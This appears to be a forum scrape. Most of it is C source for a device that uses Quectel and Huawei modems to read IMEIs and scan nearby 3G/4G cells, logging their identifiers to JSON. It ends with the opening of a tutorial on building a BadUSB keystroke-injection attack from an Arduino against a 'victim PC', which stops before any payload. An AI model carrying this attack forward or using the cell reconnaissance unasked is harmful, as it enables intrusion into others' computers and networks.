            memset(tx_string,0,sizeof(tx_string));
            sprintf(tx_string,"at+qcops=4,1,1,5\r");
            quectel_println(tx_string, sizeof(tx_string));
        }
        if (strstr(buffer,"\"4G\"")){

            lteparse(buffer);
        }
    memset(buffer,0,sizeof(buffer));
    }
    memset(buffer,0,sizeof(buffer));
    return 1;
}



int huawei_imei(void)
{
    memset(tx_string,0,sizeof(tx_string));
    sprintf(tx_string,"AT^CURC=0 \r");
    huawei_println(tx_string, sizeof(tx_string));

    while (1)
        {
                    if(huawei_readln(buffer)<1){
                    printf("timeout reset");
                    memset(buffer,0,sizeof(buffer));
                    return -1;
                    }


        if (strstr(buffer, "OK") ){
        break;
        }
        memset(buffer,0,sizeof(buffer));
        }

    memset(buffer,0,sizeof(buffer));

    memset(tx_string,0,sizeof(tx_string));
    sprintf(tx_string,"AT+CGSN \r");
        huawei_println(tx_string, sizeof(tx_string));

        while (1)
            {

            if(huawei_readln(buffer)<1){
                        printf("timeout reset");
                        memset(buffer,0,sizeof(buffer));
                        return -1;
                        }


            if (strstr(buffer, "OK") ){
                memset(buffer,0,sizeof(buffer));
                break;
            }

            printf("%s \n",buffer);

            memset(buffer,0,sizeof(buffer));


            }

        memset(buffer,0,sizeof(buffer));

            return 1;

}



int qualcom_imei(void)
{

    memset(tx_string,0,sizeof(tx_string));
    sprintf(tx_string,"AT+CGSN \r");
    quectel_println(tx_string, sizeof(tx_string));
    while (1)
    {

         if(quectel_readln(buffer)<1){
                            printf("timeout reset");
                            memset(buffer,0,sizeof(buffer));
                            return -1;
                            }




    if (strstr(buffer, "OK") ){
    break;
    memset(buffer,0,sizeof(buffer));

    }

    printf("%s \n",buffer);

                memset(buffer,0,sizeof(buffer));


    }
    memset(buffer,0,sizeof(buffer));
return 1;


}





int scan_umts(void){
    memset(tx_string,0,sizeof(tx_string));

    sprintf(tx_string,"at+qcops=2,1,1,5\r");

    quectel_println(tx_string, sizeof(tx_string));


    lcdClear(fd);
                lcd_seconds = time(NULL);
                    lcd_cur_time = lcd_seconds;
                    lcd_delta_time = lcd_cur_time-lcd_start_time;
                lcdPosition(fd,0,0);
                lcdPrintf(fd,"#1 4G=%d 3G=%d %d",lte_count, umts_count+1, lcd_delta_time);
                lcdPosition(fd,0,1);
                lcdPrintf(fd,"#2 4G=%d 3G=%d",lte_count_huawei, umts_count_huawei);
                lcdPosition(fd,10,0);
                lcdCursorBlink(fd,1);



    while (1)
    {

        if(quectel_readln(buffer)<1){
                    printf("timeout reset");
                    memset(buffer,0,sizeof(buffer));
                    return -1;
                    }



    if (strstr(buffer, "OK") ){
        printf("received OK \n");
    break;
    }
    if (strstr(buffer, "ERROR") ){

        printf("at command error,retry \n");
        quectel_reset();

        lcdClear(fd);
                lcd_seconds = time(NULL);
                    lcd_cur_time = lcd_seconds;
                    lcd_delta_time = lcd_cur_time-lcd_start_time;
                lcdPosition(fd,0,0);
                lcdPrintf(fd,"#1 4G=%d 3G=%d %d",lte_count, umts_count+1, lcd_delta_time);
                lcdPosition(fd,0,1);
                lcdPrintf(fd,"#2 4G=%d 3G=%d",lte_count_huawei, umts_count_huawei);
                lcdPosition(fd,10,0);
                lcdCursorBlink(fd,1);

        memset(tx_string,0,sizeof(tx_string));
        sprintf(tx_string,"at+qcops=2,1,1,5\r");
        quectel_println(tx_string, sizeof(tx_string));
    }
        if (strstr(buffer,"\"3G\"")){

            umtsparse(buffer);
        }

    memset(buffer,0,sizeof(buffer));
    }
    memset(buffer,0,sizeof(buffer));
    return 1;

}





int huawei_scan_umts(void){

    memset(tx_string,0,sizeof(tx_string));
    sprintf(tx_string,"AT^SYSCFGEX=\"02\",3FFFFFFF,1,2,7FFFFFFFFFFFFFFF,, \r");

    huawei_println(tx_string, sizeof(tx_string));
    memset(buffer,0,sizeof(buffer));

    while (1)
    {
    huawei_readln(buffer);

    if (strstr(buffer, "OK") ){
        printf("huawei switched to umts %s \n",buffer);
        memset(buffer,0,sizeof(buffer));
        break;
    }

    if (strstr(buffer, "ERROR") ){

            printf("at command error,retry \n");
            sprintf(tx_string,"AT^SYSCFGEX=\"02\",3FFFFFFF,1,2,7FFFFFFFFFFFFFFF,, \r");

                huawei_println(tx_string, sizeof(tx_string));
        }

    memset(buffer,0,sizeof(buffer));
    }

    memset(buffer,0,sizeof(buffer));

    memset(tx_string,0,sizeof(tx_string));
    sprintf(tx_string,"AT^NETSCAN=20,-110,1\r");

        huawei_println(tx_string, sizeof(tx_string));

        while (1)
        {
            if(huawei_readln(buffer)<1){
            printf("timeout reset");
            memset(buffer,0,sizeof(buffer));
            return -1;
            }


        if (strstr(buffer, "OK") ){


            break;
            }

            if (strstr(buffer, "ERROR") ){
                printf("at command error,retry \n");
                memset(tx_string,0,sizeof(tx_string));
                sprintf(tx_string,"AT^NETSCAN=20,-110,1\r");
                        huawei_println(tx_string, sizeof(tx_string));
            }






            if (strstr(buffer, "^NETSCAN: ") ){
                huawei_umtsparse(buffer);
        }


            memset(buffer,0,sizeof(buffer));
        }


    memset(buffer,0,sizeof(buffer));
    return 1;
    }






int huawei_scan_lte(void){

    memset(tx_string,0,sizeof(tx_string));
    sprintf(tx_string,"AT^SYSCFGEX=\"03\",3FFFFFFF,1,2,7FFFFFFFFFFFFFFF,, \r");

    huawei_println(tx_string, sizeof(tx_string));

    memset(buffer,0,sizeof(buffer));
    while (1)
    {
        if(huawei_readln(buffer)<1){
                    printf("timeout reset");
                    memset(buffer,0,sizeof(buffer));
                    return -1;
                    }


    if (strstr(buffer, "OK") ||strstr(buffer, "ECCLIST") ){
        printf("huawei switched to LTE %s \n",buffer);
        memset(buffer,0,sizeof(buffer));
        break;
    }


    if (strstr(buffer, "ERROR") ){

                printf("at command error,retry \n");
                memset(tx_string,0,sizeof(tx_string));
                sprintf(tx_string,"AT^SYSCFGEX=\"03\",3FFFFFFF,1,2,7FFFFFFFFFFFFFFF,, \r");

                    huawei_println(tx_string, sizeof(tx_string));
            }



    memset(buffer,0,sizeof(buffer));
    }

    memset(buffer,0,sizeof(buffer));

    memset(tx_string,0,sizeof(tx_string));
    sprintf(tx_string,"AT^NETSCAN=20,-110,3\r");

        huawei_println(tx_string, sizeof(tx_string));

        while (1)
        {
            if(huawei_readln(buffer)<1){
                        printf("timeout reset");
                        memset(buffer,0,sizeof(buffer));
                        return -1;
                        }

        if (strstr(buffer, "OK") ){
            break;
            }

        if (strstr(buffer, "ERROR") ){

                    printf("at command error,retry \n");
                    memset(tx_string,0,sizeof(tx_string));
                    sprintf(tx_string,"AT^NETSCAN=20,-110,3\r");

                        huawei_println(tx_string, sizeof(tx_string));
                }



            if (strstr(buffer, "^NETSCAN: ") ){
                huawei_lteparse(buffer);
        }
            memset(buffer,0,sizeof(buffer));
        }


    memset(buffer,0,sizeof(buffer));
    return 1;
    }











void huawei_scan(){

    /////////////////////3G UMTS SCAN////////////////////
        printf("new HUAWEI UMTS scan started \n");


        lcdClear(fd);
        lcd_seconds = time(NULL);
            lcd_cur_time = lcd_seconds;
            lcd_delta_time = lcd_cur_time-lcd_start_time;
        lcdPosition(fd,0,0);
        lcdPrintf(fd,"#1 4G=%d 3G=%d %d",lte_count+1, umts_count+1,lcd_delta_time);
        lcdPosition(fd,0,1);
        lcdPrintf(fd,"#2 4G=%d 3G=%d",lte_count_huawei, umts_count_huawei);
        lcdPosition(fd,10,1);
        lcdCursorBlink(fd,1);



        while(1){
        if ( huawei_scan_umts()<1)
            {
            huawei_reset();
            }
        else
        {
            break;
        }
        }




        while (umts_count_huawei!=umts_count_huawei_old) //rescan while modem founds new cells in each round
        {
            printf("HUAWEI UMTS rescan started. UMTS cell count = %d \n",umts_count_huawei+1);
            lcdClear(fd);
            lcd_seconds = time(NULL);
                lcd_cur_time = lcd_seconds;
                lcd_delta_time = lcd_cur_time-lcd_start_time;
            lcdPosition(fd,0,0);
            lcdPrintf(fd,"#1 4G=%d 3G=%d %d",lte_count+1, umts_count+1, lcd_delta_time);
            lcdPosition(fd,0,1);
            lcdPrintf(fd,"#2 4G=%d 3G=%d",lte_count_huawei, umts_count_huawei+1);
            lcdPosition(fd,10,1);
            lcdCursorBlink(fd,1);

            umts_count_huawei_old = umts_count_huawei;
            while(1){
                    if ( huawei_scan_umts()<1)
                        {
                        huawei_reset();
                        }
                    else
                    {
                        break;
                    }
                    }
        }
        printf("HUAWEI UMTS scan completed. Total 3G cell count = %d \n",umts_count_huawei+1);
        lcdClear(fd);
        lcd_seconds = time(NULL);
            lcd_cur_time = lcd_seconds;
            lcd_delta_time = lcd_cur_time-lcd_start_time;
        lcdPosition(fd,0,0);
        lcdPrintf(fd,"#1 4G=%d 3G=%d %d",lte_count+1, umts_count+1,lcd_delta_time);
        lcdPosition(fd,0,1);
        lcdPrintf(fd,"#2 4G=%d 3G=%d",lte_count_huawei, umts_count_huawei+1);
        lcdPosition(fd,5,1);
        lcdCursorBlink(fd,1);



        /////////////////////LTE SCAN////////////////////
            printf("new HUAWEI LTE scan started \n");
            while(1){
                            if ( huawei_scan_lte()<1)
                                {
                                huawei_reset();
                                }
                            else
                            {
                                break;
                            }
                            }
            while (lte_count_huawei!=lte_count_huawei_old) //rescan while modem founds new cells in each round
            {
                printf("HUAWEI LTE rescan started. LTE cell count = %d \n",lte_count_huawei+1);
                lcdClear(fd);
                lcd_seconds = time(NULL);
                    lcd_cur_time = lcd_seconds;
                    lcd_delta_time = lcd_cur_time-lcd_start_time;
                lcdPosition(fd,0,0);
                lcdPrintf(fd,"#1 4G=%d 3G=%d %d",lte_count+1, umts_count+1,lcd_delta_time);
                lcdPosition(fd,0,1);
                lcdPrintf(fd,"#2 4G=%d 3G=%d",lte_count_huawei+1, umts_count_huawei+1);
                lcdPosition(fd,5,1);
                lcdCursorBlink(fd,1);

                lte_count_huawei_old = lte_count_huawei;
                while(1){
                                if ( huawei_scan_lte()<1)
                                    {
                                    huawei_reset();
                                    }
                                else
                                {
                                    break;
                                }
                                }
            }
            printf("HUAWEI LTE scan completed. Total 4G cell count = %d \n",lte_count_huawei+1);






}


void qualcom_scan(){

    /////////////////////3G UMTS SCAN////////////////////
    printf("new UMTS scan started \n");


    lcdClear(fd);
    lcd_seconds = time(NULL);
        lcd_cur_time = lcd_seconds;
        lcd_delta_time = lcd_cur_time-lcd_start_time;
    lcdPosition(fd,0,0);
    lcdPrintf(fd,"#1 4G=%d 3G=%d %d",lte_count, umts_count,lcd_delta_time);
    lcdPosition(fd,0,1);
    lcdPrintf(fd,"#2 4G=%d 3G=%d",lte_count_huawei, umts_count_huawei);
    lcdPosition(fd,10,0);
    lcdCursorBlink(fd,1);


    while(1){
        if ( scan_umts()<1)
            {
            sleep(1);
            quectel_reset();
            }
        else
        {
            break;
        }
        }


    while (umts_count!=umts_count_old) //rescan while modem founds new cells in each round
    {
        printf("UMTS rescan started. UMTS cell count = %d \n",umts_count+1);
        lcdClear(fd);
        lcd_seconds = time(NULL);
            lcd_cur_time = lcd_seconds;
            lcd_delta_time = lcd_cur_time-lcd_start_time;
        lcdPosition(fd,0,0);
        lcdPrintf(fd,"#1 4G=%d 3G=%d %d",lte_count, umts_count+1, lcd_delta_time);
        lcdPosition(fd,0,1);
        lcdPrintf(fd,"#2 4G=%d 3G=%d",lte_count_huawei, umts_count_huawei);
        lcdPosition(fd,10,0);
        lcdCursorBlink(fd,1);



        umts_count_old = umts_count;
        while(1){
                if ( scan_umts()<1)
                    {
                    sleep(1);
                    quectel_reset();
                    }
                else
                {
                    break;
                }
                }

    }
    printf("UMTS scan completed. Total 3G cell count = %d \n",umts_count+1);
    lcdClear(fd);
    lcd_seconds = time(NULL);
        lcd_cur_time = lcd_seconds;
        lcd_delta_time = lcd_cur_time-lcd_start_time;
    lcdPosition(fd,0,0);
    lcdPrintf(fd,"#1 4G=%d 3G=%d %d",lte_count, umts_count+1,lcd_delta_time);
    lcdPosition(fd,0,1);
    lcdPrintf(fd,"#2 4G=%d 3G=%d",lte_count_huawei, umts_count_huawei);
    lcdPosition(fd,5,0);
    lcdCursorBlink(fd,1);



    /////////////////////SCAN 4G LTE//////////////////////
    printf("New LTE scan started \n");


    while(1){
            if ( scan_lte()<1)
                {
                sleep(1);
                quectel_reset();
                }
            else
            {
                break;
            }
            }



    while (lte_count!=lte_count_old) //rescan while modem founds new cells in each round
    {
        printf("LTE rescan started. LTE cell count = %d \n",lte_count+1);

        lcd_seconds = time(NULL);
        lcd_cur_time = lcd_seconds;
        lcd_delta_time = lcd_cur_time-lcd_start_time;

        lcdClear(fd);
                        lcd_seconds = time(NULL);
                            lcd_cur_time = lcd_seconds;
                            lcd_delta_time = lcd_cur_time-lcd_start_time;
        lcdPosition(fd,0,0);
        lcdPrintf(fd,"#1 4G=%d 3G=%d %d",lte_count+1, umts_count+1,lcd_delta_time);
        lcdPosition(fd,0,1);
        lcdPrintf(fd,"#2 4G=%d 3G=%d",lte_count_huawei, umts_count_huawei);
        lcdPosition(fd,5,0);
        lcdCursorBlink(fd,1);

        lte_count_old = lte_count;
        while(1){
                    if ( scan_lte()<1)
                        {

                        sleep(1);
                        quectel_reset();
                        }
                    else
                    {
                        break;
                    }
                    }
    }


    printf("LTE scan completed. Total 4G cell count = %d \n",lte_count+1);


}


int main(void){



    int code = wiringPiSetup();
    if (code !=0){
        printf("wiring init error");
    }

pinMode (19,OUTPUT);
digitalWrite(19,1);
sleep(5);



pinMode (19,OUTPUT);
digitalWrite(19,0);


    /* pinMode (BUTTON4, INPUT) ;
    while (1){

        sleep(1);
        printf("button = %d \n",digitalRead (BUTTON4));
    }
*/


fd = lcdInit(2,20,4,LCD_RS,LCD_E,LCD_D4,LCD_D5,LCD_D6,LCD_D7,0,0,0,0);
lcdCursorBlink(fd,0);
lcdClear(fd);
lcdPosition(fd,0,0);
lcdPuts(fd,"BASEBAND STARTING");
lcdPosition(fd,0,1);
lcdPuts(fd,"SCAN  VIEW  GPS  ...");

    printf("start quectel modem init \n");

sleep(20);

    lcd_seconds = time(NULL);
    lcd_start_time = lcd_seconds;


    ////////////////////////////////////////////////


struct stat st = {0};


DIR *d;
      struct dirent *dir;
      d = opendir(LOG_DIR);
      if (d) {
        while ((dir = readdir(d)) != NULL ) {
          if ((dir->d_type==4)&&!(strstr(dir->d_name, ".") ))
          {
            if (atoi(dir->d_name) > max_dir )max_dir =atoi(dir->d_name);
              printf("%s   %d\n", dir->d_name, dir->d_type);
          }
          }
        closedir(d);
      }

      printf("max dir = %d \n",max_dir);

      sprintf(dir_name,"%s%d",LOG_DIR,max_dir+1);

      if (stat(dir_name, &st) == -1) {
          mkdir(dir_name, 0777);
      }

sprintf(file_name,"%s/lte_cells.json",dir_name);

fp = fopen(file_name ,"a");
fprintf(fp,"{\n");
fprintf(fp,"\"cell\": [\n");
fflush(fp);








if (quectel_start()){

qualcom_imei(); // extract and print qualcomm ec-25 modem imei
qualcom_scan(); //complete and iterative network scan using qualcomm modem
}


if (huawei_start())
{
printf("huawei started ok - next \n");
huawei_reset();
huawei_imei();
huawei_scan();


}



merge_arrays();

fprintf(fp,"]\n");
fprintf(fp,"}\n");
fflush(fp);

fclose(fp);
}

header.h

C:Copy to clipboard

#ifndef HEADER_H_
#define HEADER_H_

#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <dirent.h>
#include <time.h>
#include <math.h>
#include <inttypes.h>
#include <string.h>
#include <termios.h>
#include <fcntl.h>
#include <unistd.h>
#include <linux/i2c-dev.h>
#include <sys/ioctl.h>
#include "/usr/local/include/wiringPi.h"
#include "/usr/local/include/lcd.h"
#include "serial.h"




#define LOG_DIR "/home/linaro/bts_logs/"


#define LCD_RS 25
#define LCD_E 24
#define LCD_D4 23
#define LCD_D5 22
#define LCD_D6 21
#define LCD_D7 20


#define BUTTON1 2
#define BUTTON2 6
#define BUTTON3 9
#define BUTTON4 10

int quectel_start(void);

void lteparse(char *);
void umtsparse(char *);
void huawei_umtsparse(char *umtsstring);
void huawei_lteparse(char *ltestring);

int scan_lte(void);
int scan_umts(void);


void huawei_reset(void);
int huawei_scan_umts(void);
int huawei_scan_lte(void);
int huawei_start(void);
void huawei_scan(void);


void qualcom_scan(void);
int qualcom_imei(void);

void merge_arrays(void);


#define MAX_CELL 40


struct UMTS_CellData{

    int plmn;
    int arfcn;
    char lac[50];
    char cid[50];
    int psc;
    int rscp;
    int ecio;

};
typedef struct UMTS_CellData UMTS_Cell;


struct LTE_CellData{

    int plmn;
    int arfcn;
    char channel[50];
    int pci;
    char tac[50];
    int rssi;
};
typedef struct LTE_CellData LTE_Cell;






#endif /* HEADER_H_ */

serial.c

C:Copy to clipboard

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <termios.h>
#include <inttypes.h>
#include <string.h>
#include "serial.h"
#include <time.h>

int uart0_filestream = -1;

int uart1_filestream = -1;



long start_time =0;
long cur_time =0;
long delta_time=0;
time_t seconds;

int quectel_init(void)
{
    uart0_filestream = open(PORTNAME_QUECTEL, O_RDWR | O_NOCTTY | O_NDELAY);

    if (uart0_filestream == -1)
    {

        return 0;
        //TODO error handling...
    }
    return 1;
}


int huawei_init(void)
{
    uart1_filestream = open(PORTNAME_HUAWEI, O_RDWR | O_NOCTTY | O_NDELAY);

    if (uart1_filestream == -1)
    {

        return 0;
        //TODO error handling...
    }
    return 1;
}




void quectel_config(void)
{
    struct termios options;
    tcgetattr(uart0_filestream, &options);
    options.c_cflag = B115200 | CS8 | CLOCAL | CREAD;
    options.c_iflag = IGNPAR;
    options.c_oflag = 0;
    options.c_lflag = 0;
    tcflush(uart0_filestream, TCIFLUSH);
    tcsetattr(uart0_filestream, TCSANOW, &options);
}



void huawei_config(void)
{
    struct termios options;
    tcgetattr(uart1_filestream, &options);
    options.c_cflag = B115200 | CS8 | CLOCAL | CREAD;
    options.c_iflag = IGNPAR;
    options.c_oflag = 0;
    options.c_lflag = 0;
    tcflush(uart1_filestream, TCIFLUSH);
    tcsetattr(uart1_filestream, TCSANOW, &options);
}




void quectel_println(const char *line, int len)
{
    if (uart0_filestream != -1) {
        char *cpstr = (char *)malloc((len+1) * sizeof(char));
        strcpy(cpstr, line);
        cpstr[len-1] = '\r';
        cpstr[len] = '\n';

        int count = write(uart0_filestream, cpstr, len+1);
        if (count < 0) {
            //TODO: handle errors...
        }
        free(cpstr);
    }
}

void huawei_println(const char *line, int len)
{
    if (uart1_filestream != -1) {
        char *cpstr = (char *)malloc((len+1) * sizeof(char));
        strcpy(cpstr, line);
        cpstr[len-1] = '\r';
        cpstr[len] = '\n';

        int count = write(uart1_filestream, cpstr, len+1);
        if (count < 0) {
            //TODO: handle errors...
        }
        free(cpstr);
    }
}




int quectel_readln(char *buffer)
{
    char c;
    char *b = buffer;
    int rx_length = -1;

    seconds = time(NULL);
       start_time = seconds;


    while(1) {
        rx_length = read(uart0_filestream, (void*)(&c), 1);

        seconds = time(NULL);
        cur_time = seconds;
        delta_time = cur_time-start_time;


        if (delta_time>260){
 return -1;
         }

        if (rx_length <= 0) {
            //wait for messages
            sleep(1);
        } else {
            if (c == '\n') {
                *b++ = c;
                return 1;
            }
            *b++ = c;
        }
    }
}






int huawei_readln(char *buffer)
{
    char c;
    char *b = buffer;
    int rx_length = -1;


    seconds = time(NULL);
    start_time = seconds;

    while(1) {
        rx_length = read(uart1_filestream, (void*)(&c), 1);


                            seconds = time(NULL);
                               cur_time = seconds;
                               delta_time = cur_time-start_time;



        if (delta_time>60){


return -1;
        }

        if (rx_length <= 0) {
            //wait for messages


            sleep(1);
        } else {
            if (c == '\n') {
                *b++ = c;
                return 1;
            }
            *b++ = c;
        }
    }




}




void quectel_close(void)
{
    close(uart0_filestream);
}

serial.h

C:Copy to clipboard

#ifndef SERIAL_H_
#define SERIAL_H_

#include <inttypes.h>

#ifndef PORTNAME_QUECTEL
//#define PORTNAME_QUECTEL "/dev/ttyUSB2"
#define PORTNAME_QUECTEL "/dev/ttyUSB7"
#endif


#ifndef PORTNAME_HUAWEI
//#define PORTNAME_HUAWEI "/dev/ttyUSB6"

#define PORTNAME_HUAWEI "/dev/ttyUSB0"
#endif



int quectel_init(void);
void quectel_println(const char *, int);
int quectel_readln(char *);
void quectel_close(void);





void quectel_config(void);
void huawei_config(void);



int huawei_init(void);
void huawei_println(const char *, int);
int huawei_readln(char *);





#endif /* SERIAL_H_ */

modem.c

C:Copy to clipboard

#include "header.h"


LTE_Cell lte_list[MAX_CELL]={};
UMTS_Cell umts_list[MAX_CELL]={};



LTE_Cell lte_list_huawei[MAX_CELL]={};
UMTS_Cell umts_list_huawei[MAX_CELL]={};

char umts_count = 0;//num of founded cells in this scan round
char lte_count = 0; //num of founded cells in this scan round


char umts_count_huawei = 0;//num of founded cells in this scan round
char lte_count_huawei = 0; //num of founded cells in this scan round


int quectel_start(void){
       if (quectel_init()){
        quectel_config();
        //Write commands
               printf("quectel init ok \n\r");
       return 1;
       }

       printf("quectel init error\n");

       return 0;
}




int huawei_start(void){
       if (huawei_init()){
        huawei_config();
        //Write commands
               printf("HUAWEI init ok \n\r");
       return 1;
       }

       printf("HUAWEI init error\n");

       return 0;
}




void huawei_lteparse(char *ltestring)
{
char *p = ltestring;
int plmn =0;
int arfcn =0;
int pci=0;
char tac[50]={};
int rssi=0;

//printf("input string = %s", p);

p = strchr(p, ' ')+1; //skip header

arfcn = atoi(p);

p = strchr(p, ',')+1;
p = strchr(p, ',')+1;
p = strchr(p, ',')+1;


    char tmpstring[1024];
    strcpy(tmpstring,p);
    char *ch;
    ch= strtok(tmpstring,",");
    strcpy(tac,ch);


    p = strchr(p, ',')+1; //skip mcc

    plmn = atoi(p)*100;
    p = strchr(p, ',')+1; //skip mnc
    plmn += atoi(p);


    p = strchr(p, ',')+1; //skip zero
     p = strchr(p, ',')+1; //rssi
     rssi = atoi(p);


     p = strchr(p, ',')+1;
     p = strchr(p, ',')+1;
     p = strchr(p, ',')+1;
     p = strchr(p, ',')+1;



pci=atoi(p);

     if (arfcn>0){

         char n1=0;

         while (n1<MAX_CELL) //find last empty array element
         {
             if (lte_list_huawei[n1].arfcn==0 || lte_list_huawei[n1].arfcn==arfcn) break;
             n1++;
         }


         if (lte_list_huawei[n1].arfcn!=arfcn){ //add cell only if this cell really new
         lte_list_huawei[n1].plmn = plmn;
         lte_list_huawei[n1].arfcn = arfcn;
         lte_list_huawei[n1].pci=pci;

         memcpy(lte_list_huawei[n1].tac,tac,sizeof(tac));
         lte_list_huawei[n1].rssi = rssi;

         lte_count_huawei=n1;



       printf ("plmn = %d  arfcn = %d channel = %s tac=%s pci= %d rssi=%d  \n",lte_list_huawei[n1].plmn, lte_list_huawei[n1].arfcn, lte_list_huawei[n1].channel,lte_list_huawei[n1].tac,lte_list_huawei[n1].pci,lte_list_huawei[n1].rssi);
         }

     }


//printf("arfcn %d tac %s plmn %d rssi %d cid %s \n ",arfcn,tac,plmn, rssi,channel);


}




void huawei_umtsparse(char *umtsstring)

{

    char *p = umtsstring;
    int plmn =0;
    int arfcn =0;
    char lac[50]={};
    char cid[50]={};
    int rssi=0;
    int psc =0;

    //printf("input string = %s", p);


    p = strchr(p, ' ')+1; //skip header

    arfcn = atoi(p);


    p = strchr(p, ',')+1; //skip header
    p = strchr(p, ',')+1; //skip header
    p = strchr(p, ',')+1; //skip header


    char tmpstring[1024];
    strcpy(tmpstring,p);
    char *ch;
    ch= strtok(tmpstring,",");
    strcpy(lac,ch);


    p = strchr(p, ',')+1; //skip mcc
    plmn = atoi(p)*100;
    p = strchr(p, ',')+1; //skip mnc
    plmn += atoi(p);


    p = strchr(p, ',')+1; //skip zero
    p = strchr(p, ',')+1; //rssi
    rssi = atoi(p);




    p = strchr(p, ',')+1; //cid
    memset(tmpstring,0,sizeof(tmpstring));
    strcpy(tmpstring,p);
    ch = strtok(tmpstring,",");
    strcpy(cid,ch);

    p = strchr(p, ',')+1; //dummy
    p = strchr(p, ',')+1; //psc
    psc = atoi(p);





    if (arfcn>0){ //if channel info decoded norm
        char n1=0;

        while (n1<MAX_CELL) //find last empty array element
        {
            if (umts_list_huawei[n1].arfcn==0 || umts_list_huawei[n1].arfcn == arfcn) break;
            n1++;
        }

        if (umts_list_huawei[n1].arfcn != arfcn){
        umts_list_huawei[n1].plmn = plmn;
        umts_list_huawei[n1].arfcn = arfcn;
        memcpy(umts_list_huawei[n1].lac,lac,sizeof(lac));
        memcpy(umts_list_huawei[n1].cid,cid,sizeof(cid));
        umts_list_huawei[n1].psc = psc;

        umts_list_huawei[n1].rscp = rssi;

        umts_count_huawei=n1;

       printf ("plmn = %d  arfcn = %d lac=%s cid=%s psc=%d rscp =%d \n",umts_list_huawei[n1].plmn, umts_list_huawei[n1].arfcn,umts_list_huawei[n1].lac,umts_list_huawei[n1].cid,umts_list_huawei[n1].psc,umts_list_huawei[n1].rscp);
        }
        }

}



void umtsparse(char *umtsstring)
{
char *p = umtsstring;
int plmn =0;
int arfcn =0;
char lac[50]={};
char cid[50]={};
int psc=0;
int rscp =0;
int ecio =0;
    p = strchr(p, ',')+1; //skip 3g


    p = strchr(p, ',')+1; //skip operator name

    p = strchr(p, '\"')+1; //skip operator name
    plmn = atoi(p);

    p = strchr(p, ',')+1; //skip operator name
    p = strchr(p, ',')+1; //skip operator name


    arfcn = atoi(p);

    p = strchr(p, ',')+1; //skip arfcn

    char tmpstring[1024];

    strcpy(tmpstring,p);

    char *ch;
    ch= strtok(tmpstring,",");
    strcpy(lac,ch);

    p = strchr(p, ',')+1; //skip arfcn


    memset(tmpstring,0,sizeof(tmpstring));
    strcpy(tmpstring,p);
    ch = strtok(tmpstring,",");
    strcpy(cid,ch);

    p = strchr(p, ',')+1; //skip arfcn
    psc = atoi(p);

    p = strchr(p, ',')+1; //skip arfcn
rscp = atoi(p);


p = strchr(p, ',')+1; //skip arfcn
ecio = atoi(p);



if (arfcn>0){ //if channel info decoded norm
    char n1=0;

    while (n1<MAX_CELL) //find last empty array element
    {
        if (umts_list[n1].arfcn==0 || umts_list[n1].arfcn == arfcn) break;
        n1++;
    }

    if (umts_list[n1].arfcn != arfcn){
    umts_list[n1].plmn = plmn;
    umts_list[n1].arfcn = arfcn;
    memcpy(umts_list[n1].lac,lac,sizeof(lac));
    memcpy(umts_list[n1].cid,cid,sizeof(cid));
    umts_list[n1].psc = psc;
    umts_list[n1].rscp = rscp;
    umts_list[n1].ecio = ecio;

    umts_count=n1;

   printf ("plmn = %d  arfcn = %d lac=%s cid=%s psc=%d rscp= %d ecio=%d \n",umts_list[n1].plmn, umts_list[n1].arfcn,umts_list[n1].lac,umts_list[n1].cid,umts_list[n1].psc,umts_list[n1].rscp,umts_list[n1].ecio);
    }
    }


}




void lteparse(char *ltestring)
{
    char *p = ltestring;
int plmn =0;
int arfcn =0;
char channel[50]={};
char tac[50]={};
int rssi=0;


    p = strchr(p, ',')+1; //skip 4g


    p = strchr(p, ',')+1; //skip operator name

    p = strchr(p, '\"')+1; //skip operator name
    plmn = atoi(p);


    p = strchr(p, ',')+1; //skip operator name
    p = strchr(p, ',')+1; //skip operator name


    arfcn = atoi(p);

    p = strchr(p, ',')+1; //skip arfcn

    char tmpstring[1024];

    strcpy(tmpstring,p);

    char *ch;
    ch= strtok(tmpstring,",");
    strcpy(channel,ch);
    p = strchr(p, ',')+1; //skip arfcn


    memset(tmpstring,0,sizeof(tmpstring));
    strcpy(tmpstring,p);
    ch = strtok(tmpstring,",");
    strcpy(tac,ch);

    p = strchr(p, ',')+1; //skip arfcn

    rssi = atoi(p);


if (arfcn>0){

    char n1=0;

    while (n1<MAX_CELL) //find last empty array element
    {
        if (lte_list[n1].arfcn==0 || lte_list[n1].arfcn==arfcn) break;
        n1++;
    }


    if (lte_list[n1].arfcn!=arfcn){ //add cell only if this cell really new
    lte_list[n1].plmn = plmn;
    lte_list[n1].arfcn = arfcn;
    memcpy(lte_list[n1].channel,channel,sizeof(channel));
    memcpy(lte_list[n1].tac,tac,sizeof(tac));
    lte_list[n1].rssi = rssi;

    lte_count=n1;



   printf ("plmn = %d  arfcn = %d channel = %s tac=%s  rssi=%d  \n",lte_list[n1].plmn, lte_list[n1].arfcn, lte_list[n1].channel,lte_list[n1].tac,lte_list[n1].rssi);
    }
}


}

Обновления
18 сентября 2023 - добавлен список комплектующих для сборки первой версии сканера

Делаем BADUSB из Ардуино
ID: 676535aeb4103b69df3735c6
Thread ID: 76979
Created: 2022-11-29T14:56:35+0000
Last Post: 2023-08-03T14:16:42+0000
Author: Gufi
Prefix: Статья
Replies: 28 Views: 3K

Всем привет , сегодня мы обсудим такую тему как создание самодельной Badusb флешки.

Для работы нам нужно :

_Arduino (подойдет любая с возможностю емуляции usb)

Arduino IDE

Знание синтаксиса С/C++_

Выбор платы Ардуино​

Мы будем использовать Arduino micro pro. Компактная , с подходящим объемом памяти для записи скриптов, недорогая модель, полностю нам подходит!

5146_1.jpg

Купить: https://www.aliexpress.com/item/1005002781852894.html?spm=a2g0o.productlist.0.0.3f914ffeI9s1Z3&algo_pvid=630befd0-0205-4e5d-879b-0705a291de1b&algo_exp_id=630befd0-0205-4e5d-879b-0705a291de1b-33&pdp_ext_f={"sku_id":"12000022158005566"}&pdp_npi=2@dis!UAH!174.43!139.39!!!27.88!!@211675d316662933032674762ea1a2!12000022158005566!sea&curPageLogUid=aD4feaNPYQb0

Как работает схема атаки на ардуино

В работе мы используем модуль Keyboard , когда ардуинка подключаеться к источнику питания , процесор платы начинает обробку скрипта , и поссылает команды модулю usb который емулирует клавиатуру. Тем самым система пк жертвы определяет ардуинку как клавиатуру.
Для начала атаки нужно просто вставить в пк заранее прошитую плату. Плата прошиваеться через софтину Arduino IDE .

Подготовка к прошивке​

1. Ставим Arduino IDE , при установке соглашаемсяя на установку драйверов.

